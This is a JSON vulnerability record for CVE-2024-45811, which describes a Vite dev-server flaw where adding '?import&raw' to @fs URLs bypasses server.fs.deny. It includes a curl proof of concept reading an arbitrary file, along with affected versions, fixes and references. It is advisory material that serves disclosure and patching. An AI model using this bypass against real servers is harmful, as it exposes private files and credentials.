{"id":"CVE-2024-45811","aliases":["GHSA-9cwx-2883-4wfx"],"url":"https://o3.security/vulnerability/CVE-2024-45811","summary":"server.fs.deny bypassed when using ?import&raw in vite","details":"### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n    <body>\n      <h1>403 Restricted</h1>\n      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```\n\n","published":"2024-09-17T20:08:11.801Z","modified":"2026-08-12T03:51:26.253921757Z","cvss":{"score":4.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vite","fixedVersion":"5.4.6"},{"ecosystem":"npm","name":"vite","fixedVersion":"5.3.6"},{"ecosystem":"npm","name":"vite","fixedVersion":"5.2.14"},{"ecosystem":"npm","name":"vite","fixedVersion":"4.5.4"},{"ecosystem":"npm","name":"vite","fixedVersion":"3.2.11"},{"ecosystem":"npm","name":"vite","fixedVersion":"5.1.8"}],"fix":{"url":"https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34","label":"vitejs/vite@6820bb3"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/45xxx/CVE-2024-45811.json"},{"type":"ADVISORY","url":"https://github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45811"},{"type":"FIX","url":"https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/4573a6fd6f1b097fb7296a3e135e0646b996b249"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/8339d7408668686bae56eaccbfdc7b87612904bd"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/a6da45082b6e73ddfdcdcc06bb5414f976a388d6"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/b901438f99e667f76662840826eec91c8ab3b3e7"},{"type":"PACKAGE","url":"https://github.com/vitejs/vite"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:26.253921757Z"}}